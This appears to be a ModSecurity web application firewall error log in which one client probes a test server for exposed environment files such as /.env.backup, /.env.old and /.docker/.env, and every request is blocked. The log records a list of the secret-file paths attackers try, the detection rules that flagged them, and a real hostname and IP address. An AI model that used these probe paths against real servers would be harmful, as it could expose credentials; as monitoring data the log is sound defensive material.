[Thu Feb 26 01:02:41.685283 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwgAAAAE&quot;]
[Thu Feb 26 01:02:41.685458 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwgAAAAE&quot;]
[Thu Feb 26 01:02:41.709263 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwwAAAAE&quot;]
[Thu Feb 26 01:02:41.709541 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwwAAAAE&quot;]
[Thu Feb 26 01:02:41.709726 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwwAAAAE&quot;]
[Thu Feb 26 01:02:41.762266 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxAAAAAE&quot;]
[Thu Feb 26 01:02:41.762612 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxAAAAAE&quot;]
[Thu Feb 26 01:02:41.762884 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxAAAAAE&quot;]
[Thu Feb 26 01:02:41.763080 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxAAAAAE&quot;]
[Thu Feb 26 01:02:41.789500 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.www&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxQAAAAE&quot;]
[Thu Feb 26 01:02:41.789802 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxQAAAAE&quot;]
[Thu Feb 26 01:02:41.789995 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxQAAAAE&quot;]
[Thu Feb 26 01:02:41.816546 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxgAAAAE&quot;]
[Thu Feb 26 01:02:41.816808 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxgAAAAE&quot;]
[Thu Feb 26 01:02:41.816981 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxgAAAAE&quot;]
[Thu Feb 26 01:02:41.844317 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxwAAAAE&quot;]
[Thu Feb 26 01:02:41.844607 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxwAAAAE&quot;]
[Thu Feb 26 01:02:41.845016 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgxwAAAAE&quot;]
[Thu Feb 26 01:02:41.903100 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgyAAAAAE&quot;]
[Thu Feb 26 01:02:41.903383 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgyAAAAAE&quot;]
[Thu Feb 26 01:02:41.903570 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgyAAAAAE&quot;]
[Thu Feb 26 01:02:41.939085 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgyQAAAAE&quot;]
[Thu Feb 26 01:02:41.939363 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgyQAAAAE&quot;]
[Thu Feb 26 01:02:41.939543 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgyQAAAAE&quot;]
[Thu Feb 26 01:02:41.996718 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgygAAAAE&quot;]
[Thu Feb 26 01:02:41.996965 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgygAAAAE&quot;]
[Thu Feb 26 01:02:41.997125 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgygAAAAE&quot;]
[Thu Feb 26 01:02:42.022230 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g38wAAAAY&quot;]
[Thu Feb 26 01:02:42.022513 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g38wAAAAY&quot;]
[Thu Feb 26 01:02:42.022681 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g38wAAAAY&quot;]
[Thu Feb 26 01:02:42.096499 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g39QAAAAY&quot;]
[Thu Feb 26 01:02:42.096715 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g39QAAAAY&quot;]
